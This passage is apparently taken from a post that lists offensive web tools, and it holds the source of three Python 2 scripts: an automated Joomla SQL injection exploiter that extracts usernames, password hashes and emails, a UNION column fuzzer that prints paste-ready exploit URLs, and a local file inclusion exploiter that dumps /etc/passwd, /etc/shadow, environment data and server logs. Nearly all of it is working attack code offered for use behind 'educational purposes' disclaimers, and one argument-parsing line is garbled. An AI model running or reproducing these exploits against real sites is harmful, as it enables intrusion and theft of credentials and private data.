"" print " For educational purposes only! I am not responsible if you cause any damage!" print " Only use this tool on websites which you may test, e.g. for penetration testing." print "" print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,(),~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" print "" print "" return #Prints banner def print_banner(): print "" print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,(),~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" print "" print " Automated Joomla SQL Injection Exploiter 1.0 (23th May 2010)" print " by Valentin Hoebel (valentin@xenuser.org)" print "" print " For educational purposes only! I am not responsible if you cause any damage!" print " Only use this tool on websites which you may test, e.g. for penetration testing." print "" print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,(),~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" print "" return # Testing if URL is reachable, with error handling def test_url(): print ">> Checking if connection can be established..." try: response = urllib2.urlopen(provided_url) except HTTPError, e: print ">> The connection could not be established." print ">> Error code: ", e.code print ">> Exiting now!" print "" sys.exit(1) except URLError, e: print ">> The connection could not be established." print ">> Reason: ", e.reason print ">> Exiting now!" print "" sys.exit(1) else: valid_target = 1 print ">> Connected to target! URL seems to be valid." print "" return # Find correct amount of columns for the SQL Injection and enhance with Joomla exploitation capabilities def find_columns(): # Define some important variables and make the script a little bit dynamic number_of_columns = 1 column_finder_url_string = "+AND+1=2+UNION+SELECT+" column_finder_url_message = "0x503077337220743020743368206330777321" column_finder_url_message_plain = "P0w3r t0 t3h c0ws!" column_finder_url_terminator = "+from+jos_users--" column_finder_url_terminator_2 = "--" next_column = "," column_finder_url_sample_2 = "concat_ws(0x3b,user(),database(),version())" column_finder_url_sample_3 = "concat_ws(0x3b,0x503077337220743020743368206330777321,user(),database(),version(),0x503077337220743020743368206330777321)" column_finder_url_sample = "concat_ws(0x3b,0x503077337220743020743368206330777321,id,name,username,password,email,usertype,0x503077337220743020743368206330777321)" # Craft the final URL to check final_check_url = provided_url+column_finder_url_string+column_finder_url_message print ">> Assuming that your provided URL is vulnerable." print ">> Trying to find the correct number of columns... (this may take a while)" for x in xrange(1, max_columns): # Visit website and store response source code of site final_check_url2 = final_check_url+column_finder_url_terminator response = urllib2.urlopen(final_check_url2) html = response.read() find_our_injected_string = re.findall(column_finder_url_message_plain, html) # When the correct amount was found we display the information and exit if len(find_our_injected_string) != 0: print ">> Correct number of columns found!" print ">> Amount: ", number_of_columns # Offer to display a sample exploitation URL for pasting into the browser print "" user_reply = str(raw_input(">> Do you want to have a sample exploitation URL for pasting into the browser? (Yes/No) ")) if user_reply == "Y" or user_reply == "y" or user_reply == "Yes" or user_reply == "yes": # Print a sample URL for exploiting and replace test string with some useful stuff print "" final_check_url3 = final_check_url+column_finder_url_terminator_2 print string.replace(final_check_url3, column_finder_url_message, column_finder_url_sample_2) print "" print ">> Simply copy and paste this link into your browser Moving on..." else: print ">> Viewing a sample exploitation URL was skipped!" # Craft our exploit query malicious_query = string.replace(final_check_url2, column_finder_url_message, column_finder_url_sample) print "" print ">> Now assuming that this is a Joomla installation." print ">> Trying to fetch the first user of the Joomla user table..." # Receive the first user of the Joomla user table response = urllib2.urlopen(malicious_query) html = response.read() get_secret_data = string.find(html, "P0w3r t0 t3h c0ws!") get_secret_data += 18 new_html = html[get_secret_data :] new_get_secret_data = string.find(new_html, "P0w3r t0 t3h c0ws!") new_html_2 = new_html[:new_get_secret_data] # Data was received, now format and display it formatted_output = str.split(new_html_2, ";") print "ID: ", formatted_output[1:2] print "Name: ", formatted_output[2:3], "Username: ", formatted_output[3:4] print "Password Hash: ", formatted_output[4:5] print "E-Mail Address: ", formatted_output[5:6], "User status: ", formatted_output[6:7] # Offer to display all entries of the Joomla user table print "" user_reply = str(raw_input(">> Do you want to display all Joomla users? Replying with Yes will show you the source code response of the website. (Yes/No) ")) if user_reply == "Y" or user_reply == "y" or user_reply == "Yes" or user_reply == "yes": print "" print "-------------------------------------------------------------" print str.split(new_html, ";") print "-------------------------------------------------------------" print "The seperator for the single entries is: ", column_finder_url_message_plain print "So it is this pattern: seperator id;name;username;password;email address;user status seperator" print "I know, formatting is bad, but this will be improved soon." else: print ">> Viewing the Joomla user table output was skipped!" # Offer to display current database, user and MySQL version print "" user_reply = str(raw_input(">> Do you want to display the current database, database user and MySQL version? (Yes/No) ")) if user_reply == "Y" or user_reply == "y" or user_reply == "Yes" or user_reply == "yes": # Crafting the final URL final_check_url4 = final_check_url+column_finder_url_terminator_2 informative_query = string.replace(final_check_url4, column_finder_url_message, column_finder_url_sample_3) # Getting the data response4 = urllib2.urlopen(informative_query) html4 = response4.read() # Now extract the interesting information get_secret_data = string.find(html4, "P0w3r t0 t3h c0ws!") get_secret_data += 18 new_html4 = html4[get_secret_data :] new_get_secret_data4 = string.find(new_html4, "P0w3r t0 t3h c0ws!") new_html_5 = new_html4[:new_get_secret_data4] # Data was received, now format and display it formatted_output = str.split(new_html_5, ";") print "MySQL Database User: ", formatted_output[1:2] print "MySQL Database: ", formatted_output[2:3] print "MySQL Version: ", formatted_output[3:4] print "That's it. Bye!" print "" print "" sys.exit(1) else: print ">> Viewing the informative data was skipped!" print "That's it. Bye!" print "" print "" sys.exit(1) # Increment counter var by one number_of_columns += 1 #Add a new column to the URL final_check_url += next_column final_check_url += column_finder_url_message # If fuzzing is not successfull print this message print ">> Fuzzing was not successfull. Maybe the target is not vulnerable?" print "Bye!" print "" print "" # Checking if argument was provided if len(sys.argv) <=1: print_usage() sys.exit(1) for arg in sys.argv: # Checking if help was called if arg == "--help": print_usage() sys.exit(1) # Checking if URL was provided, if yes -> go! if arg == "-u": provided_url = sys.argv[2] print_banner() # At first we test if we can actually reach the provided URL test_url() # Now start with finding the correct amount of columns find_columns() ### EOF ### Download: http://www.xenuser.org/exploits/joomla_sqli_sploiter.py
  15. Column fuzzer # Full Automated Column Finder for SQL Injection # Column fuzzer, version 1.1 (23th May 2010) # By Valentin Hoebel (valentin@xenuser.org) # ASCII FOR BREAKFAST # # Useful for SQL Injections. The script tries to determine the amount # of columns needed for a successfull SQL Injection, e.g. # target/index.php?id=1+AND+1=2+UNION+SELECT+1,2-- #!/usr/bin/python# Full Automated Column Finder for SQL Injection # Column fuzzer, version 1.1 (23th May 2010) # By Valentin Hoebel (valentin@xenuser.org) # ASCII FOR BREAKFAST # # Useful for SQL Injections. The script tries to determine the amount # of columns needed for a successfull SQL Injection, e.g. # target/index.php?id=1+AND+1=2+UNION+SELECT+1,2-- # # You may copy, modify and use this code without asking me for permission # Share it, use it! # For educational purposes only. I am not responsible for any damage you might # cause with this script. # # Thanks to rsauron from darkc0de for the awesome Python scripts! # Greetz to cr4wl3r (you know why ! ) && all my friends and ppl who support me! # # # Usage: python column_finder.py -u http://target-domain.tld/file.php?some_var=some_integer # Example: # python column_finder.py -u http://127.0.0.1/index.php?=id=1 # Don't forget to supply a correct value for the var or script won't work (e.g. id=1, but NOT id=)! # # # Changelog: # ------------------------------------------------- # Version 1.1 - 23th May 2010 # - Some small changes # # Version 1- 22th May 2010 # - Public release import sys, re, urllib, urllib2, string from urllib2 import Request, urlopen, URLError, HTTPError # Define the max. amounts for trying max_columns = 100 # Prints usage def print_usage(): print "" print ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" print "Full Automated Column Finder for SQL Injection by Valentin Hoebel (valentin@xenuser.org)" print "Version: 1.1 (23th May 2010)" print "Usage:" print " -u <URL> (e.g. -u http://target/index.php?id=1)" print " --help (displays this text)" print "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<" print "" print "" return #Prints banner def print_banner(): print "" print "" print ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>" print "" print "Full Automated Column Finder for SQL Injection" print "by Valentin Hoebel (valentin@xenuser.org)" print "" print "Version: 1.1 (23th May 2010)" print "" print "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<" print "" return # Testing if URL is reachable, with error handling def test_url(): print ">> Checking if connection can be established..." try: response = urllib2.urlopen(provided_url) except HTTPError, e: print ">> The connection could not be established." print ">> Error code: ", e.code print ">> Exiting now!" print "" sys.exit(1) except URLError, e: print ">> The connection could not be established." print ">> Reason: ", e.reason print ">> Exiting now!" print "" sys.exit(1) else: valid_target = 1 print ">> Connected to target! URL seems to be valid." print "" return # Find correct amount of columns for the SQL Injection def find_columns(): # Define some important variables and make the script a little bit dynamic number_of_columns = 1 column_finder_url_string = "+AND+1=2+UNION+SELECT+" column_finder_url_message = "0x503077337220743020743368206330777321" column_finder_url_message_plain = "P0w3r t0 t3h c0ws!" column_finder_url_terminator = "--" next_column = "," column_finder_url_sample = "concat(user(),database(),version())" print ">> Trying to find the correct number of columns..." # Craft the final URL to check final_check_url = provided_url+column_finder_url_string+column_finder_url_message for x in xrange(1, max_columns): # Visit website and store response source code of site final_check_url2 = final_check_url+column_finder_url_terminator response = urllib2.urlopen(final_check_url2) html = response.read() find_our_injected_string = re.findall(column_finder_url_message_plain, html) # When the correct amount was found we display the information and exit if len(find_our_injected_string) != 0: print ">> Correct number of columns found!" print ">> Amount: ", number_of_columns # Ask if a sample URL should be provided user_reply = str(raw_input(">> Do you want to have a sample URL for exploiting? (Yes/No) ")) if user_reply == "Y" or user_reply == "y" or user_reply == "Yes" or user_reply == "yes": print "" # Print a sample URL for exploiting and replace test string with some useful stuff print string.replace(final_check_url2, column_finder_url_message, column_finder_url_sample) print "" print "Simply copy and paste this link into your browser Have fun! Bye :)" print "" print "" sys.exit(1) else: print ">> Ok, bye =)" print "" print "" sys.exit(1) # Increment counter var by one number_of_columns += 1 #Add a new column to the URL final_check_url += next_column final_check_url += column_finder_url_message # If fuzzing is not successfull print this message print ">> Fuzzing was not successfull. Maybe the target is not vulnerable?" # Checking if argument was provided if len(sys.argv) <=1: print_usage() sys.exit(1) for arg in sys.argv: # Checking if help was called if arg == "--help": print_usage() sys.exit(1) # Checking if URL was provided, if yes -> go! if arg == "-u": provided_url = sys.argv[2] print_banner() # At first we test if we can actually reach the provided URL test_url() # Now start with finding the correct amount of columns find_columns() print "" print "" ### EOF ### Download: http://xenuser.org/tools/column_finder.py
  16. print "[Description]" print "The Simple Local File Inclusion Exploiter helps you to" print "exploit LFI vulnerabilities. After you found one, simply" print "pass the URL of the affected website and the vulnerable" print "parameter to this tool. You can also use this tool" print "to scan a parameter of an ULR for a LFI vulnerability." print "" print "[Usage]" print "./lfi_sploiter.py --exploit-url=\"<URL with http://>\" --vulnerable-parameter=\"<parameter>\"" print "" print "[Usage example]" print "./lfi_sploiter.py --exploit-url=\"http://www.example.com/page.php?file=main\" --vulnerable-parameter=\"file\" " #!/usr/bin/python# Simple Local File Inclusion Exploiter, version 1.2 # by Valentin Hoebel (valentin@xenuser.org) # ASCII FOR BREAKFAST # ---------- [Description] # This tool helps you to exploit LFI (Local File Inclusion) vulnerabilities. # After you found a LFI vulnerability simply pass the affected URL # and vulnerable parameter to this tool. # You can also use this tool to scan a URL for LFI vulnerabilities. # ---------- [Features] # - This time with working random user agents # - Checks if a connection to the target can be established # - Some error handling # - Scans a parameter of a URL for a LFI vulnerability # - Finds out how a LFI vulnerability can be exploited (e.g. directory depth) # - Supports nullbytes # - Dumps a list of interesting files (e.g. /etc/passwd and logs) to the hard disk # - Supports common *nix targets, but no Windows systems. # - Creates a small log file. # Supports no SEO URLs, such as www.example.com/local-news/ # But in most cases it is possible to find out the real URL and pass it to this script. # ---------- [usage example] # ./lfi_sploiter.py --exploit-url="http://www.example.com/page.php?url=main" --vulnerable-parameter="url" # The tool then assumes that the parameter "url" is vulnerable and attacks the target. # When you do not know which parameter is vulnerable simply try one parameter after another, # this tool will scan the parameter and tell you if it is vulnerable But only pass one parameter at once! # ---------- [Known issues] # - I know there is more about LFI than it is covered in this tool. But this is the first release, # and more features will be implemented in future versions. # - This tool is only able to handle "simple" LFI vulnerabilities, but not complex ones. # For example: Some LFI vulnerabilities consist of two URL parameters or require to # find a way around filters. In those cases, this tool unfortunately does not work. # - Like most other LFI exploiter / scanner, this tool here also has problems with # handling certain server responses. So this tool does not work with every website. # ---------- [Tested with] # Targets: Apache2 servers and PHP websites, various Linux systems # Script platform: Ubuntu Lucid Lynx and Python 2.6.5 # ---------- [Notes] # - This tool was developed using a Python 2.6.5 interpreter. # - I admit: This tool is a little bit slow and not very efficient (too many variables etc.). Sorry about that # - Modify, distribute, share and copy this code in any way you like! # - Please note that this tool was created and published for educational purposes only, e.g. for pentesting # your own website. Do not use it in an illegal way and always know + respect your local laws. # I am not responsible if you cause any damage with it. # ---------- [Changelog] # - Version 1.2 (05th December 2010): # - Added some more "interesting files" # # - Version 1.1 (23th November 2010): # - Added new log file <domain name>-details.txt which contains some information about the current scan # - Added some more "interesting files" # - Added some more user agents # # - Version 1.0 (21th November 2010): # - Initial release # Power to the cows! import getopt, sys, random, urllib, urllib2, httplib, re, string, os from urllib2 import Request, urlopen, URLError, HTTPError from urlparse import urlparse from time import gmtime, strftime def print_usage(): print_banner() print "[!] Wrong argument and parameters passed. Use --help and learn how to use this tool :)" print " Hint: You need to pass a value for --exploit-url=\"<value>\" and --vulnerable-parameter=\"<value>\"." print " Example: ./lfi_sploiter.py --exploit-url=\"http://www.example.com/page.php?file=main\" --vulnerable-parameter=\"file\" " print "" print "" sys.exit() return def print_help(): print_banner() print "((Displaying the content for --help.))" print "" print "[Description]" print "The Simple Local File Inclusion Exploiter helps you to" print "exploit LFI vulnerabilities. After you found one, simply" print "pass the URL of the affected website and the vulnerable" print "parameter to this tool. You can also use this tool" print "to scan a parameter of an ULR for a LFI vulnerability." print "" print "[usage]" print "./lfi_sploiter.py --exploit-url=\"<URL with http://>\" --vulnerable-parameter=\"<parameter>\"" print "" print "[usage example]" print "./lfi_sploiter.py --exploit-url=\"http://www.example.com/page.php?file=main\" --vulnerable-parameter=\"file\" " print "" print "[usage notes]" print "- Always use http://...." print "- When you pass a vulnerable parameter, this tool assumes that it is really vulnerable." print "- If you do not know if a parameter is vulnerable, simply pass it to this script and let the scanner have a look." print "- Only use one vulnerable parameter at once." print "- This tool does not work with SEO URLs, such as http://www.example.com/news-about-the-internet/." print " If you only have a SEO URL, try to find out the real URL which contents parameters." print "" print "[Feature list]" print "- Provides a random user agent for the connection." print "- Checks if a connection to the target can be established." print "- Tries catch most errors with error handling. " print "- Contains a LFI scanner (only scans one parameter at once)." print "- Finds out how a LFI vulnerability can be exploited (e.g. directory depth)." print "- Supports nullbytes!" print "- Exploit features: Dumps a list of interesting files to your hard disk." print "- Supports common *nix targets, but no Windows systems." print "- Creates a small log file." print "" print "[some notes]" print "- Tested with Python 2.6.5." print "- Modify, distribute, share and copy the code in any way you like!" print "- Please note that this tool was created for educational purposes only." print "- Do not use this tool in an illegal way. Know and respect your local laws." print "- Only use this tool for legal purposes, such as pentesting your own website :)" print "- I am not responsible if you cause any damage or break the law." print "- Power to teh c0ws!" print "" print "" sys.exit() return def print_banner(): print "" print "" print "" print "Simple Local File Inclusion Exploiter" print "by Valentin Hoebel (valentin@xenuser.org)" print "" print "Version 1.2 (05th December 2010) ^__^" print " (oo)\________" print " (__)\ )\/\ " print " ||----w |" print "Power to teh cows! || ||" print "____________________________________________________" print "" return def test_url(exploit_url): print "" print " Assuming the provided data was correct." print " Trying to establish a connection with a random user agent..." user_agents = [ "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.9)", "Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01 ", "Opera/8.00 (Windows NT 5.1; U; en)", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19 " ] user_agent = random.choice (user_agents) check="" request_website = urllib2.Request(exploit_url) request_website.add_header('User-Agent', user_agent) try: check = urllib2.urlopen(request_website) except HTTPError, e: print "[!] The connection could not be established." print "[!] Error code: ", e print "[!] Exiting now!" print "" print "" sys.exit(1) except URLError, e: print "[!] The connection could not be established." print "[!] Reason: ", e print "[!] Exiting now!" print "" print "" sys.exit(1) else: print " Connected to target! URL seems to be valid." print " Jumping to the exploit feature." return def exploit_lfi(exploit_url, vulnerable_parameter): print "" # Define all variables of this function # I know, there are more efficient ways of handling all the "problems" we encounter later in this script, # but well, I am still learning lfi_found = 0 param_equals = "=" param_sign_1 = "?" param_sign_2 = "&" nullbyte = "%00" one_step_deeper = "../" for_the_first_test = "/" for_changing_the_dump_file_name = "_" for_the_second_test = ".." max_depth = 20 i = 0 nullbyte_required = 1 depth = 0 original_vulnerable_parameter_value = "" query_string = "" modified_query_string = "" lfi_url_part_one = "" lfi_url_part_two = "" lfi_url_part_three = "" lfi_url_part_four = "" lfi_url = "" find_nasty_string = "root:x:0:0:" find_nasty_string_2 = "mail:x:8:" user_agents = [ "Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8", "Mozilla/5.0 (X11; Linux i686; rv:2.0b3pre) Gecko/20100731 Firefox/4.0b3pre", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6)", "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en)", "Mozilla/3.01 (Macintosh; PPC)", "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.9)", "Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01", "Opera/8.00 (Windows NT 5.1; U; en)", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19" ] user_agent = random.choice (user_agents) lfi_response="" lfi_response_source_code = "" replace_string = "" replace_string_2 = "" replace_me = "" value_for_vulnerable_parameter = "" value_for_vulnerable_parameter_2 = "" exploit_depth= 0 folder_name = "" cd_into = "" change_dump_filename = "" log_file_name = "" # I know, some of these are rarely accessible for the webserver, but you never know... it is worth the try! # Never ever change the first line! local_files = [ "etc/passwd", "proc/self/environ", "var/log/apache2/access.log", "var/log/apache2/access_log", "var/log/apache2/error.log", "var/log/apache2/error_log", "var/log/httpd/access.log", "var/log/httpd/access_log", "var/log/httpd/error.log", "var/log/httpd/error_log", "var/log/nginx/access.log", "var/log/nginx/access_log", "var/log/nginx/error.log", "var/log/nginx/error_log", "etc/shadow", "etc/group", "var/log/auth.log", "proc/self/status", "proc/self/mounts", "proc/cpuinfo", "proc/meminfo", "etc/apache2/httpd.conf", "etc/apache2/apache2.conf", "etc/apache2/envvars" ] # We have to split up the URL in order to replace the value of the vulnerable parameter get_parsed_url = urlparse(exploit_url) print " For exploiting the LFI vulnerability we need to split the URL into its parts." print " IP address / domain: " + get_parsed_url.netloc if len(get_parsed_url.path) == 0: print "[!] The URL doesn't contain a script (e.g. target/index.php)." else: print " Script:", get_parsed_url.path if len(get_parsed_url.query) == 0: print "[!] The URL doesn't contain a query string (e.g. index.php?var1=x&controller=main)." else: print " URL query string:", get_parsed_url.query print "" # Finding all URL parameters if param_sign_1 in exploit_url and param_equals in exploit_url: print " It seems that the URL contains at least one parameter." print " Trying to find also other parameters..." # It seems that there is at least one parameter in the URL. Trying to find out if there are also others... if param_sign_2 in get_parsed_url.query and param_equals in get_parsed_url.query: print " Also found at least one other parameter in the URL." else: print " No other parameters were found." else: print "" print "[!] It seems that there is no parameter in the URL." print "[!] How am I supposed to find a vulnerability?" print "[!] Please provide an URL with a script and query string." print "[!] Example: target/index.php?cat=1&article_id=2&controller=main" print "[!] Hint: I can't handle SEO links, so try to find an URL with a query string." print "[!] This can most likely be done by having a look at the source code (rightclick -> show source code in your browser)." print "[!] Exiting now!" print "" print "" sys.exit(1) # Detect the parameters # Thanks to atomized.org for the URL splitting and parameters parsing part! parameters = dict([part.split('=') for part in get_parsed_url[4].split('&')]) # Count the parameters parameters_count = len(parameters) # Print the parameters and store them in single variables print " The following", parameters_count, "parameter(s) was/were found:" print "", parameters # Check if the URL contains the provided vulnerable parameter print "" print " According to you, the vulnerable parameter should be: " + vulnerable_parameter print " Checking if this parameter exists in the provided URL..." if vulnerable_parameter in get_parsed_url.query: print " Found your vulnerable parameter in the URL." else: print "[!] I was not able to find your vulnerable parameter within the provided URL." print "[!] How am I supposed to exploit the LFI vulnerabililty then?" print "[!] Exiting now!" print "" print "" sys.exit(1) # We now try to find out how this LFI vulnerability can be exploited # a) How deep do we need to go (../../......) and do we need to use the nullbyte? =) # We find this out by trying to access the /etc/passwd file.. it should always be accessible. print "" print " Now trying to find out how this LFI vulnerability can be exploited..." print " This can take a while." value_for_vulnerable_parameter = for_the_first_test value_for_vulnerable_parameter += value_for_vulnerable_parameter.join(local_files[0:1]) value_for_vulnerable_parameter_2 = "".join(local_files[0:1]) value_for_vulnerable_parameter_with_nullbyte = value_for_vulnerable_parameter + nullbyte value_for_vulnerable_parameter_with_nullbyte_2 = value_for_vulnerable_parameter_2 + nullbyte query_string = get_parsed_url.query # Find out what value the vulnerable parameter currently has for key, value in parameters.items(): if key == vulnerable_parameter: # Save the value of the vulnerable parameter, so we later can search in in the URL original_vulnerable_parameter_value = value # Our main routine, maybe the most important part of this script # At first without the nullbyte for depth in range(i, max_depth): # Replace the default value of the vulnerable parameter with our LFI string replace_string = (depth * one_step_deeper) + value_for_vulnerable_parameter_2 replace_string_2 = vulnerable_parameter + param_equals + (depth * one_step_deeper) + value_for_vulnerable_parameter_2 if depth== 0: replace_string = (depth * one_step_deeper) + value_for_vulnerable_parameter replace_string_2 = vulnerable_parameter + param_equals + (depth * one_step_deeper) + value_for_vulnerable_parameter replace_me = vulnerable_parameter + param_equals + original_vulnerable_parameter_value modified_query_string = query_string.replace(replace_me, replace_string_2) # Now craft the URL lfi_url_part_one = "".join(get_parsed_url[0:1]) + "://" lfi_url_part_two = "".join(get_parsed_url[1:2]) lfi_url_part_three = "".join(get_parsed_url[2:3]) + "?" lfi_url_part_four = "".join(modified_query_string) lfi_url = lfi_url_part_one + lfi_url_part_two + lfi_url_part_three + lfi_url_part_four # Ok, everything is prepared to enter subspace.. eeh, to call the URL (Stargate fans get this joke!) request_website = urllib2.Request(lfi_url) request_website.add_header('User-Agent', user_agent) try: lfi_response = urllib2.urlopen(request_website) except URLError, e: print "[!] The connection could not be established." print "[!] Reason: ", e else: lfi_response_source_code = lfi_response.read() if find_nasty_string in lfi_response_source_code: print "[+] Found signs of a successfull LFI vulnerability! No nullbyte was required." print "[+] URL: " + lfi_url nullbyte_required = 0 lfi_found = 1 exploit_depth = depth break else: if find_nasty_string_2 in lfi_response_source_code: print "[+] Found signs of a successfull LFI vulnerability! No nullbyte was required." print "[+] URL: " + lfi_url nullbyte_required = 0 lfi_found = 1 exploit_depth = depth break if nullbyte_required == 1: # Now with the nullbyte for depth in range(i, max_depth): # Replace the default value of the vulnerable parameter with our LFI string replace_string = (depth * one_step_deeper) + value_for_vulnerable_parameter_with_nullbyte_2 replace_string_2 = vulnerable_parameter + param_equals + (depth * one_step_deeper) + value_for_vulnerable_parameter_with_nullbyte_2 if depth== 0: replace_string = (depth * one_step_deeper) + value_for_vulnerable_parameter_with_nullbyte replace_string_2 = vulnerable_parameter + param_equals + (depth * one_step_deeper) + value_for_vulnerable_parameter_with_nullbyte replace_me = vulnerable_parameter + param_equals + original_vulnerable_parameter_value modified_query_string = query_string.replace(replace_me, replace_string_2) # Now craft the URL lfi_url_part_one = "".join(get_parsed_url[0:1]) + "://" lfi_url_part_two = "".join(get_parsed_url[1:2]) lfi_url_part_three = "".join(get_parsed_url[2:3]) + "?" lfi_url_part_four = "".join(modified_query_string) lfi_url = lfi_url_part_one + lfi_url_part_two + lfi_url_part_three + lfi_url_part_four # Ok, everything is prepared to enter subspace.. eeh, to call the URL (Stargate fans get this joke!) request_website = urllib2.Request(lfi_url) request_website.add_header('User-Agent', user_agent) try: lfi_response = urllib2.urlopen(request_website) except URLError, e: print "[!] The connection could not be established." print "[!] Reason: ", e else: lfi_response_source_code = lfi_response.read() if find_nasty_string in lfi_response_source_code: print "[+] Found signs of a successfull LFI vulnerability! Using the nullbyte was necessary." print "[+] URL: " + lfi_url lfi_found = 1 exploit_depth = depth break else: if find_nasty_string_2 in lfi_response_source_code: print "[+] Found signs of a successfull LFI vulnerability! Using the nullbyte was necessary." print "[+] URL: " + lfi_url lfi_found = 1 exploit_depth = depth break if lfi_found == 0: print "[!] The LFI vulnerability could not be detected." print "[!] Exiting now!" print "" print "" sys.exit() # Now that we know the details of the LFI vulnerability, we can start to exploit it. # At first we try to dump all interesting files to your local hard disk print "" print " Exploiting the LFI vulnerability starts right now." print " Trying to dump some interesting files to your local hard disk..." # "Craft" the folder name, it contains the scanned website and a formatted timestamp folder_name = get_parsed_url.netloc + "_-_" + strftime("%d_%b_%Y_%H:%M:%S_+0000", gmtime()) # Create the folder, with some error handling try: os.mkdir(folder_name) except OSError: print "[!] Something is wrong, the folder could not be created. Check the chmod and chown permissions!" print "[!] Exiting now!" print "" print "" sys.exit(1) cd_into = os.getcwd() + "/" + folder_name + "/" os.chdir(cd_into) # New since version 1.1: Create a small log file log_file_name = folder_name + "_-_scan.log" FILE = open(log_file_name, "w") FILE.write("Simple Local File Inclusion Exploiter - Log File\n") FILE.write("----------------------------------------------------------\n\n") FILE.write("Exploited URL:\n") FILE.write(exploit_url + "\n\n") FILE.write("LFI URL:\n") FILE.write(lfi_url) FILE.close # Start "calling" the files. Yeeeha! for key, file in enumerate(local_files): # Craft the URL # Consider nullbyte usage... if nullbyte_required == 0: # Consider that the LFI can be exploited by the first try and that no "cd .."s are needed. # Yes, sometimes this works! For example in my test script So this code block has a right to exist, believe it or not =) replace_string = (exploit_depth * one_step_deeper) + file replace_string_2 = vulnerable_parameter + param_equals + (exploit_depth * one_step_deeper) + file if exploit_depth == 0: replace_string = (exploit_depth * one_step_deeper) + for_the_first_test + file replace_string_2 = vulnerable_parameter + param_equals + (exploit_depth * one_step_deeper) + for_the_first_test + file replace_me = vulnerable_parameter + param_equals + original_vulnerable_parameter_value modified_query_string = query_string.replace(replace_me, replace_string_2) lfi_url_part_one = "".join(get_parsed_url[0:1]) + "://" lfi_url_part_two = "".join(get_parsed_url[1:2]) lfi_url_part_three = "".join(get_parsed_url[2:3]) + "?" lfi_url_part_four = "".join(modified_query_string) lfi_url = lfi_url_part_one + lfi_url_part_two + lfi_url_part_three + lfi_url_part_four request_website = urllib2.Request(lfi_url) request_website.add_header('User-Agent', user_agent) try: lfi_response = urllib2.urlopen(request_website) except URLError, e: print "[!] The connection could not be established." print "[!] Reason: ", e else: lfi_response_source_code = lfi_response.read() # Dump the file # We need to replace the "/" with underscores change_dump_filename = file.replace(for_the_first_test, for_changing_the_dump_file_name) print "[+] Dumping file: " + for_the_first_test + file FILE = open(change_dump_filename, "w") FILE.write(lfi_response_source_code ) FILE.close elif nullbyte_required == 1: # Consider that the LFI can be exploited by the first try and that no "cd .."s are needed. # Yes, sometimes this works! For example in my test script So this code block has a right to exist, believe it or not =) replace_string = (exploit_depth * one_step_deeper) + file + nullbyte replace_string_2 = vulnerable_parameter + param_equals + (exploit_depth * one_step_deeper) + file + nullbyte if exploit_depth == 0: replace_string = (exploit_depth * one_step_deeper) + for_the_first_test + file + nullbyte replace_string_2 = vulnerable_parameter + param_equals + (exploit_depth * one_step_deeper) + for_the_first_test + file + nullbyte replace_me = vulnerable_parameter + param_equals + original_vulnerable_parameter_value modified_query_string = query_string.replace(replace_me, replace_string_2) lfi_url_part_one = "".join(get_parsed_url[0:1]) + "://" lfi_url_part_two = "".join(get_parsed_url[1:2]) lfi_url_part_three = "".join(get_parsed_url[2:3]) + "?" lfi_url_part_four = "".join(modified_query_string) lfi_url = lfi_url_part_one + lfi_url_part_two + lfi_url_part_three + lfi_url_part_four request_website = urllib2.Request(lfi_url) request_website.add_header('User-Agent', user_agent) try: lfi_response = urllib2.urlopen(request_website) except URLError, e: print "[!] The connection could not be established." print "[!] Reason: ", e else: lfi_response_source_code = lfi_response.read() # Dump the file # We need to replace the "/" with underscores change_dump_filename = file.replace(for_the_first_test, for_changing_the_dump_file_name) print "[+] Dumping file: " + for_the_first_test + file FILE = open(change_dump_filename, "w") FILE.write(lfi_response_source_code ) FILE.close print " Hint: The files are also dumped when we have no permission to view them." print " Instead of the file, the PHP error message will be dumped." print "" print " Completed the task. Will now exit!" print " A small log file was created." print " I know, there is more about LFI than it is covered here, but this will be implemented in later versions of this tool." print " Feel free to send in some feedback!" print "" print"" sys.exit(1) return def main(argv): exploit_url="" vulnerable_parameter="" try: opts, args = getopt.getopt(sys.argv[1:], "", ["help", "exploit-url=, "vulnerable-parameter=]) except getopt.GetoptError : print_usage() sys.exit(2) for opt, arg in opts: if opt in ("--help"): print_help() break sys.exit(1) elif opt in ("--exploit-url") : exploit_url=arg elif opt in ("--vulnerable-parameter"): vulnerable_parameter=arg if len(exploit_url) < 1: print_usage() sys.exit() if len(vulnerable_parameter) < 1: print_usage() sys.exit() # Continue if all required arguments were passed to the script. print_banner() print " Provided URL to exploit: " + exploit_url print " Provided vulnerable parameter: " + vulnerable_parameter # Check if URL is test_url(exploit_url) # Calling the LFI exploit function exploit_lfi(exploit_url, vulnerable_parameter) if __name__ == "__main__": main(sys.argv[1:]) ### EOF ### Download: www.xenuser.org/tools/lfi_sploiter.py
